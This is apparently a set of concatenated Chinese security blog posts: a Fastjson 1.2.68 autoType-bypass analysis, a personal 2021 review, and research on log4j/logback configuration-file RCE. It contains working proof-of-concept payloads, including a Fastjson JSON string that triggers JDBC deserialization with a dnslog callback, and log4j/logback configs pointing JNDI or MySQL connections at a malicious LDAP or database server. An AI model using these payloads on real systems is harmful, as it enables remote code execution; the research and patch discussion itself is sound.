json字符串中，添加序列化信息(写入类型信息)。举个例子:如果现在有一个抽象类为 abstractClass_A，有一个实现类为class_B，当开发者要将class_B要 解析成为json字符串的时候，就可以添加 SerializerFeature，如下所示:可以看到，此时解析成功的json字符串内容如下：{ "@type":"testAutoType$class_B", "str":"panda"}会自动携带一个 @type 的属性，这个属性指定了序列化的类之后当开发者想要直接使用抽象类A，就可以通过反序列化解析字符串，从而得到具体的实现类checkAutoTypecheckAutoType是 FastJson 在 1.2.25 以及之后的版本中，为了防止 autoType 这一机制带来的 安全隐患，增加的检测防御机制，这是一个对于 @type 属性进行白名单+黑名单的限制机制早期版本的checkAutoType存在一些比较低级的绕过方法，如加上L开头;结尾、双写LL绕过 等，直到1.2.48版本后，checkAutoType 变得成熟，黑名单也逐渐完善其具体逻辑，可以用《How i use json deserialization》议题的一张图片概括:checkAutoType首先会对传入的typeName进行3项检测:是否是白名单中的类是否在反序列化cache中(在mappings列表)类有JSONType注解(如:fastjson.annotation.JSONType)如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache如果没有满足其中的一个条件，那么会进入另一个判断:传入的typeName是否在黑名单中是否继承自RowSet、DataSource、ClassLoader等类如果满足上述条件之一，那么直接抛出错误 如果都不满足，那么会进行如下判断:expectClass不为NULL、Object、Serializable、Closeable等类型传入的typeName类继承于expctClass如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache如果不满足，那么会经过autoTypeSupport的判断，autoTypeSupport主要用来打开autotype功能，默认情况下是false，抛出错误，如果设置的是True那么会return出去继续执行反序列化流 程并且将未载入cache的类载入cache漏洞分析实际上经过上面的分析，我们直到如果想要通过checkAutoType的检验，有以下几种方法:传入的类在白名单中开启了autotype(autoTypeSupport is true)使用了JSONType注解(如:fastjson.annotation.JSONType)某些期望类 (继承于expectClass)要反序列化的类在cache中 (TypeUtils.mappings列表中有 @type 指定的类)对于第一、第二个方式我们可以不用考虑，因为白名单的类一般都是安全类、autotype默认 是false，第三个也不用考虑，这个是开发者才可以用于指定的，因此如果想要绕过 checkAutoType 机制，只有以下两条路可以走:要反序列化的类在cache中 (TypeUtils.mappings列表中有 @type 指定的类)某些期望类 (继承于expectClass)首先来看看第一条路fastjson的cache，也就是TypeUtils.mappings列表，实际上在 fastjson.util.TypeUtils#addBaseClassMappings() 中被初始化可以看到，其会将一些基本类型的类预加载到TypeUtils.mappings列表，并且这些在 TypeUtils.mappings列表中的基础类都有着自己的反序列化器(Deserializer):所以除非能够通过某种方式将cache加入到mapping中，否则这种方式是没有办法利用的，而 “通过某种方式将cache加入到mapping中”实际上已经出现过利用方式类——在1.2.47版本中 由于cache值默认为ture导致绕过了checkAutoType的检测那么这条路实际上很难实现(不说断绝的原因是或许有未知的一些机制或方法能够将目标类 加载到cache mapping中)所以，来看看第二条路checkAutoType(String typeName, Class<?> expectClass, int features)所谓的期望类(expectClass)指的就是符合checkAutoType中的第二个参数的类那么有哪些类继承类期望类呢?上文中也提到了，必须要满足:if (expectClass == null) { expectClassFlag = false; } else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) { expectClassFlag = true; }else{ expectClassFlag = false; }此外，继承的期望类还不能在黑名单里首先来看看期望类有哪些:https://github.com/alibaba/fastjson/blob/3b370ac07cef990eb0a10eeeb6388b2b91feada8/src/main/java/com/alibaba/fastjson/util/TypeUtils.java然后看看fastjson的黑名单 https://github.com/LeadroyaL/fastjson-blacklist在fastjson 1.2.68及以前的黑名单里，虽然包括了大部分常用的父接口和父类，但唯独少了 java.lang.AutoCloseabl和java.util.BitSet所以就有了以下流程:所以实际上找到一个typeName满足以下条件就可以绕过checkAutoType的检测:继承于java.lang.AutoCloseabl或java.util.BitSet不在fastjson的黑名单类中其父类和父类接口不在黑名单中最后一个限制导致我们不能直接利用fastjson去实现RCE的目的，因为我们常常用来搭载命令 执行的类通常继承于ClassLoader、DataSource、RowSet 类，这些类都在黑名单中所以我们找的typeName又多了新的条件:能够导致RCE、SSRF或者文件读写的类《How i use json deserialization》议题中给出了一些方向: 继承于 java.lang.AutoCloseable 的类能够导致的漏洞:Mysql RCEApache commons io read and write filesJetty SSRFApachexbean-reflectRCE......议题里作者还给了一些payload和具体的链，这里的漏洞复现我们以 Mysql RCE为例漏洞复现首先打开faker mysql然后运行以下代码:import com.alibaba.fastjson.JSON; public class poc { public static void main(String[] args) { String serializedStr = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"127.0.0.1\",\"portToConnectTo\":3306,\"ur l\":\"jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"databaseT oConnectTo\":\"test\",\"info\": {\"@type\":\"java.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.Serve rStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"yso_URLDNS_http://apwaty.dnslog.cn\",\"PORT.1\":\ "3306\",\"HOST.1\":\"127.0.0.1\",\"NUM_HOSTS\":\"1\",\"HOST\":\"127.0.0.1\",\"DBNAME\":\"test\"}}"; Object obj1 = JSON.parse(serializedStr); } } ​即可完成反序列化攻击:漏洞修复修复方式简单粗暴，将java.lang.Runnable，java.lang.Readable和java.lang.AutoCloseable加 入了黑名单并且从这个版本(1.2.68)开始，Fastjson 引入了safeMode功能，safeMode可以用来控制关 闭反序列化功能，开启后禁止反序列化，并且会直接抛出异常，彻底解决了反序列化造成的问题。总结这个漏洞的挖掘思路可以用两个字总结——细心 漏洞的作者梳理了checkAutoType绕过的条件，然后根据情况一条一条判断达到这个条件的可能性 对于黑名单和expectClass类的列表进行了自动化的分析，然后找到了黑名单中没有的类，并且可以利用该类的继承类达到RCE的效果 作者对“继承”概念的定义和细化非常值得学习，此外其自动化的分析方式也是我们在安全研究中必须要掌握的技能之一，这能使得我们的研究事半功倍 此外，我也在考虑一个问题，为什么在出现漏洞如此频繁的功能上，fastjson不考虑“切割”掉autotype机制呢?fastjson官方github仓库的issus区，有一个讨论可以解答这个问题 :https://github.com/alibaba/fastjson/issues/3218个人观点:被市场抛弃的原因往往不是漏洞的产生，而是需求没被满足或者满足不了需求参考https://www.blackhat.com/us-21/briefings/schedule/index.html#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815
2021 我做了什么？这一年我在博客发表了14 篇技术文章这一年我的《Java 代码审计（入门篇）》出版了，并且我为这本书录制了17 节课时的讲解视频这一年我拿到了腾讯和蚂蚁的实习 offer，但最终选择在非攻实验室实习了三个月，并且拿到了转正 offer这一年我在秋招期只向一家公司投了一个简历，但仿佛是命中注定一样，我最终去了这家公司——字节的无恒实验室这一年我中了一篇会议，投了一篇小论文这一年我去了静安寺、灵隐寺、法喜寺，但似乎许的愿现在没有一个成功了这一年我给 Apache 基金提交了 3 个漏洞，目前还在审核中这一年我一共做了 100+篇的笔记这一年我看望了我的高中老师、本科老师这一年我和带我进入圈子的前辈终于线下见了面，吃了一顿饭这一年我的好友列表新增了 197 人这一年我发言最多的群聊——赛博回忆录这一年我父母和奶奶又老了一岁这一年我开始下意识的给自己制定合适的学习路线和学习计划这一年我最要感谢的人是我的导师这一年我最喜欢的电影是《失控玩家》这一年我最喜欢的歌曲是容祖儿版的《百年孤寂》这一年我最喜欢的小说是《三体》这一年是我和对象在一起的第三年这一年我似乎做了很多事情，但似乎又没做什么事。年初给自己定下的目标实现了，年中定下的目标实现了，年底定下的目标也实现了。看起来似乎做到了应该做的，但又感觉自己做的还不够。如果要给我的 2021 用一个词来概括，那应该是——成长是的。这一年我成长了不少。明白这个世界并非是我们想象的那样，人和人之间是不一样的，每个人在心里对你的定义也是不一样的。你没法改变你在别人心中的看法，你能够做的其实是做更好的自己。但也正像是罗曼·罗兰说的那样，生活的本质是看透生活后，依然热爱生活。哪有什么事事如意，万事称心，不过是乐观使然。但正是这样，人更应该感谢曾经帮助过自己的人——不是每个人都愿意给你指点，给你帮助的。所以我真心感谢曾经帮助我的朋友和前辈们。2021，就这样吧！2022 我想做什么？毕业顺利能够毕业旅行能够完美胜任自己的工作并做出一番成绩技术更上一层楼2022，冲！
写在前面昨晚推特上一条博文引起了圈内的大量关注log4j 2.17.0 RCE 啦！！然鹅：圈内人士嘘声一片……修改配置文件 RCE，就这就这？那么修改配置文件来RCE到底是怎么“流行”起来的呢？因这件事还要从 Log4j 2 的 RCE 说起在log4j2 的 GitHub项目有个 Pull：https://github.com/apache/logging-log4j2/pull/608一位叫“TopStreamsNet”的老外提到：如果您查看 jndi 在 1.x 中的工作方式，您会发现有两个地方可以完成查找 - 即 JMSAppender.java:207 和 JMSAppender.java:222 - 如果您将 TopicBindingName 或 TopicConnectionFactoryBindingName 设置为 JNDI 可以处理的内容 - 例如“ldap://host:port/a”JNDI 将做与 2.x 完全相同的事情 - 所以 1.x 是易受攻击的，只是攻击向量“更安全”，因为它取决于配置而不是用户 输入然后通过配置文件 RCE 的这件事就开始讨论起来了特别是 Log4j2 的作者回复到：如果攻击者可以修改某个系统 S 上的配置文件，那么可以假设 S 已经被很大程度地渗透了。如果攻击者可以修改 log4j.properties (log4j 1.x)，她就不需要下载恶意代码，她可以轻松地将恶意类文件放在类路径中并让它们执行。因此，在非常严格的意义上，log4j 1.x 中存在漏洞，但与日志参数引起的 RCE 没有任何关系。实际上可以看得出来，Log4j2 的作者一开始并不认同这个老外的观点，但有意思的来了就在大家认为这个“漏洞”不是漏洞的时候，RadHat 出来作妖了：https://access.redhat.com/security/cve/CVE-2021-4104他们把这个由配置文件引起的 RCE 定义为漏洞，并且给了cvss v3 7.5的中危评分！然后有人又在 log4j2 那个 pull 下面回复了：路人：看，你看，RedHat 发了一个 CVE，而且还是7.5的评分！（实际上一开始给了 8.0）当然，也有人回复到：路人：TMD，ReaHat 你不懂规矩，不讲武德，人家 log4j 官方都没发话呢，你出来搞什么事情后来迫于压力下，log4j 认了这个 CVE我们决定保留 Red Hat 分配的 CVE，以节省创建另一个并拒绝他们的 CVE。log4j 官方：行了行了，我认，我认还不行吗至此，由log4j 在 pull 上讨论出的第一个 由配置文件引发 RCE的 CVE 被 RedHat折腾出来了果在这个 CVE 发布前，实际上我就对“TopStreamsNet”这位老外提出的看法进行了研究：log4j 1.x 与 logback 的鸡肋RCE讨论：https://www.cnpanda.net/sec/1131.html并且我发现实际上log4j 1.x 的配置文件 RCE 并不能立刻生效，因为修改 log4j 1.x 的配置文件需要重新加载后才可以生效，在生产环境下谁闲着没事主动重启或者重新加载配置文件？但 logback 不太一样，因为 logback 有个 scan 属性，可以自动扫描配置文件是否发生了改变，如果发生了改变，那么就会自动更新配置文件。所以研究的时候写了一个 SpringBoot 的演示Demo 发到了 GitHub 上。凑巧的是，在 logback 的官方 issue 上看到一个提问，大意是 logback 中是否存在RedHat 发布的那个漏洞，然后我回复了之前那个SpringBoot 演示 Demo 的地址，后来 logback的作者也给分配了CVE-2021-42550，还发邮件问我要不要 credit老外还是热心的，但是我觉得这漏洞本身限制很大，而且 @香依香偎 师傅在一年前就提出了这个利用方式：https://xz.aliyun.com/t/7351所以我拒绝了credit。后来通过 @TiGer 师傅得知这个 logback 漏洞实际上出现过实际例子的利用：可以参考：https://www.cnblogs.com/zpchcbd/p/15542705.html总结回过头来看看这个log4j 2.17.0 的配置文件 RCE，确实有点离谱，因为修改完配置文件后，它不像 logback 一样可以实时生效，属于鸡肋中的鸡肋了。实际上 @pwntester 大神也说了：大多数使用数据库的 Java 应用程序都有配置文件，您可以在其中指定 JNDI 地址以获取 JDBC 数据源可以通过 JNDI设置配置文件的部分应用如下：jettyhttps://wiki.eclipse.org/Jetty/Feature/JNDI#Configuring_JMS_Queues.2C_Topics_and_ConnectionFactoriesApache ODE https://ode.apache.org/using-a-jndi-datasource-under-servicemix-jbi.htmlApache Shriohttps://shiro.apache.org/static/1.3.2/apidocs/org/apache/shiro/jndi/JndiTemplate.htmlhttps://www.programmerall.com/article/1371213168/Tomcathttps://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.htmlTomEE https://tomee.apache.org/jndi-names.htmlSpringBoothttps://blog.roncoo.com/article/133919等等等太多太多了，实际上正如@pwntester说的那样，JNDI 类似于在一个中心注册一个东西，以后要用的时候，只需要根据名字去注册中心查找，注册中心返回你要的东西。比如在 web应用中，我们可以将一些东西（最常用的就是数据库相关的配置信息）交给服务器软件去配置和管理，在程序代码或者配置文件中只要通过名称查找就能得到我们注册的东西，而且如果注册的东西有变，比如更换了数据库，我们只需要修改注册信息，名称不改，因此代码也不需要修改。这是SUN公司提供的一种标准的Java命名系统接口，是一种特性，因此一般来说，只要存在 JNDI 的地方，都能够利用 ldap 协议去实现 RCE，当然，不仅仅是 ldap 协议，实际上还有很多可用的协议：总之，我认为log4j 2.17.0这个 CVE，分配了就算了，但过分的是，这老外还好意思发表在推特上来说log4j 2.17.0又出 RCE 漏洞（刷洞就刷洞，还吆喝一嗓子，结果还是这漏洞，不是让别人像吃了屎一样难受吗）一句话总结：通过配置文件来实现 RCE，只能说是一种手段，而不能说是一种常规漏洞。
0x01 写在前面对 log4j2 漏洞的后续研究中，发现一些有趣的东西，记录分享一下0x02 log4j 真的在任何情况不存在 JNDI注入吗？首先提出一个问题，log4j 真的在任何情况不存在 JNDI注入吗？答案是否定的。翻阅 Log4j2 的 pull request 发现一个有意思的对话：有人提出实际上 log4j 和 log4j2 一样易受攻击的，只不过与 log4j2 相比，Log4j 的攻击向量“更安全”因为 Log4j 的攻击入口点是其配置文件，而 log4j2 的攻击入口点是用户的输入那么实际上如何呢？经过我简单测试，发现修改 log4j 的配置文件确实会导致漏洞的产生，但要求要比pull reques中所说的更苛刻。案例1 - log4j 配置文件中 JMSAppender 的 RCE首先在 maven 中添加以下依赖：<dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-broker</artifactId> <version>5.16.3</version> </dependency> </dependencies>然后在resource 目录下新建 log4j.properties 文件，内容如下：log4j.rootLogger=INFO, stdout, jms log4j.logger.org.apache.activemq=INFO, stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n log4j.appender.jms=org.apache.log4j.net.JMSAppender log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory log4j.appender.jms.ProviderURL=tcp://localhost:61616 log4j.appender.jms.TopicBindingName=jmsTest log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd最后新建 Log4jJMSAppenderTest.java 文件，内容如下：import org.apache.log4j.Logger; import javax.naming.NamingException; class Log4jJMSAppenderTest { public static void main(String[] args) throws NamingException { // 通常情况下会自动加载 Log4j 的配置文件，如果不能自动加载可以取消注释下行代码 // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class); logger.error("error"); } }可以看到，项目的所用到的主要依赖是 log4j 1.2.17 版本，然后为了满足条件要求（后文会说具体什么条件），又引入了最新版的 activemq 依赖。然后如果直接运行 main 函数，可以直接触发 RCE：原理很简单，log4j 有一个名为Appenders的功能，Appender 通常只负责将事件数据写入目标指定的区域， 比如数据库、JMS 代理等当检测到log4j.properties配置文件中存在指定的 Appender 时，会自动进入相应的功能逻辑如，假设配置了log4j.appender.file=org.apache.log4j.FileAppender，那么会进入FileAppender.java 中的 activateOptions 方法配置了log4j.appender.stdout=org.apache.log4j.ConsoleAppender，那么会进入ConsoleAppender.java 中的activateOptions方法上文中配置的是log4j.appender.jms=org.apache.log4j.net.JMSAppender ，会进入JMSAppender.java中的activateOptions方法我们可以在该方法打个断点，debug 就可以看到其调用的是 lookup 方法：然后在 ctx.lookup(name)中传入我们指定的恶意 LDAP 服务地址，从而触发 RCE这里虽然可以实现了 RCE，但实际上你可以发现，必须要有一个支持 jms 代理的类（org.apache.activemq.jndi.ActiveMQInitialContextFactory ）才可以，否则是会报错的，如果实际业务代码或引用的包中没有 jms 代理类，就显得就十分鸡肋+苛刻了那么可利用的仅仅是 JMSAppender 吗？案例 2 - log4j 配置文件中 JDBC 的 RCE在 log4j 中，除了 JMSAppender 配置项外，还有很多 Appender，JDBCAppender就是其一。同样的，在 resources 目录下创建log4j.properties文件，内容如下：log4j.rootLogger=DEBUG,database log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender #数据库地址 log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor log4j.appender.database.driver=com.mysql.jdbc.Driver log4j.appender.database.user=test log4j.appender.database.password=111111 log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n') #log4j.appender.database.layout=org.apache.log4j.PatternLayout 为了方便测试 JDBC反序列化漏洞，所以maven 中我们新增了其他依赖，具体如下：<dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency>最后再新建 test.java 文件，内容如下： import org.apache.log4j.Logger; public class test { public static void main(String[] args) { Logger logger = Logger.getLogger(test.class); logger.error("error"); } } 运行main函数，直接触发 RCE：原理和JMSAppender比较类似，同样是那么会进入JDBCAppender.java 中，只不过触发的方法是getConnection()，后续就是我们比较熟知的 JDBC 反序列漏洞流程了这里提到的仅仅是 log4j 的1.x 版本，实际上 log4j 2.15.0 同样可以实现上述操作在能够控制配置文件的情况下，可以不用再花心思去绕过 lookup 的白名单和各种限制，直接采用类似于上面的方式实现 RCE，比如三梦师傅之前提到的：<pattern>%sn. %msg: Class=%class%n%m{lookups}</pattern> <pattern>${payload}</pattern>当然，总体来看，这种修改配置文件的方式还是很鸡肋的，实际利用有限，只是适用于特殊场景，此处仅作技术性探讨0x03 logback 的鸡肋 RCE提到 log 日志记录，除了 log4j 外，还有就是 logback，logbakc和log4j是 同一个人写的，因此实际上我想看看 logback 中是否存在类似问题并且由于 logback 是 springboot 的默认组件，如果同样存在类似问题，那么可能遇到这种场景的机会会加大首先 看的是 JMSAppender，遗憾的是，在 logback 的 1.2.2版本后，就移除了 JMSTopicAppender 但幸运的是 ，在 logback 中同样存在类似于 JDBCAppender 的 Appender —— DBAppenderDBAppender 中有一个名为ConnectionSource的接口，该接口提供了一种可插拔式的方式为需要使用 java.sql.Connection 的 logback 类获取 JDBC 连接，目前有三种实现，分别为： DriverManagerConnectionSource 、DataSourceConnectionSource与 JNDIConnectionSource。这三种实现每一种都可以用来实现 RCE。DriverManagerConnectionSource 和 DataSourceConnectionSource 比较类似，都可以通过控制 JDBC 的 URL 去实现 JDBC 反序列化攻击的目的。首先在 resource 目录下新建 logback-spring.xml ，内容如下<configuration> <appender name="DB" class="ch.qos.logback.classic.db.DBAppender"> <connectionSource class="ch.qos.logback.core.db.DriverManagerConnectionSource"> <driverClass>com.mysql.jdbc.Driver</driverClass> <url>jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</url> <user>username</user> <password>password</password> </connectionSource> </appender> <root level="DEBUG" > <appender-ref ref="DB" /> </root> </configuration>然后在新建的 SpringBoot 项目的 pom.xml中新加两个依赖，如下：<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency>然后直接运行SpringApplication.run()所在方法，即可触发漏洞：除上述两种，还有 JNDIConnectionSource 方法，JNDIConnectionSource 是 logback 自带的方法，从名字就可以看出来，它通过 JNDI 获取 javax.sql.DataSource，然后再获取 java.sql.Connection 实例同样的，对于我们来说，这种方式实现 RCE 更方便，完全不需要其他的依赖，测试如下：在 resource 目录下新建 logback-spring.xml ，内容如下<configuration debug="true"> <appender name="DB" class="ch.qos.logback.classic.db.DBAppender"> <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource"> <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation> </connectionSource> </appender> <root level="DEBUG"> <appender-ref ref="DB"/> </root> </configuration>同样的，直接运行SpringApplication.run()所在方法，即可触发漏洞：实际上跟踪一下可以发现，最终会进入到JNDIConnectionSource.java的getConnection方法，如果dataSource 为空，那么就令dataSource = lookupDataSource();然后在lookupDataSource() 中触发 lookup:不过这里需要注意的是，JNDIConnectionSource类是通过无参构造函数获取 javax.naming.InitialContext，这种方式在 J2EE 环境通常可以行得通，但是在 J2EE 环境之外，需要额外提供一个 jndi.properties 的配置文件才可以。实际上除了上述方式，还有一种配置不借助 DBAppender 也可以直接实现 RCE，配置如下：<configuration> <insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" /> <root level="DEBUG"> <appender-ref ref="CONSOLE" /> </root> </configuration>运行项目即可实现 RCE：同样跟踪可以发现，是在InsertFromJNDIAction.java的begin方法中调用了 JNDIUtil.lookup 方法，从而触发漏洞：当然，还有 JMX 同样可以实现RCE，原理大致相同，这里不在赘述0x04 写在最后上面的方式确实比较鸡肋，正如 pull request 那里写的：如果攻击者可以修改某个系统 S 上的配置文件，那么可以假设 S 已经被很大程度地渗透了。但还是有可行的场景的， 通过查阅资料我发现，logback配置文件中有个特色属性为 scan，只要配置文件中配置了 scan 属性，那么系统会启动一个scan task监控配置文件的变动，如果发生变化，那么就在配置文件变更时的自动加载新的配置文件，具体场景发现已经有人做了实验，可以参考：https://xz.aliyun.com/t/7351当然，可能在绝大多数情况下这些方式都是没用的，但是，请尽情的发挥你的想象，思考可能的攻击场景吧0x05 参考https://github.com/apache/logging-log4j2/pull/608https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemqhttps://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders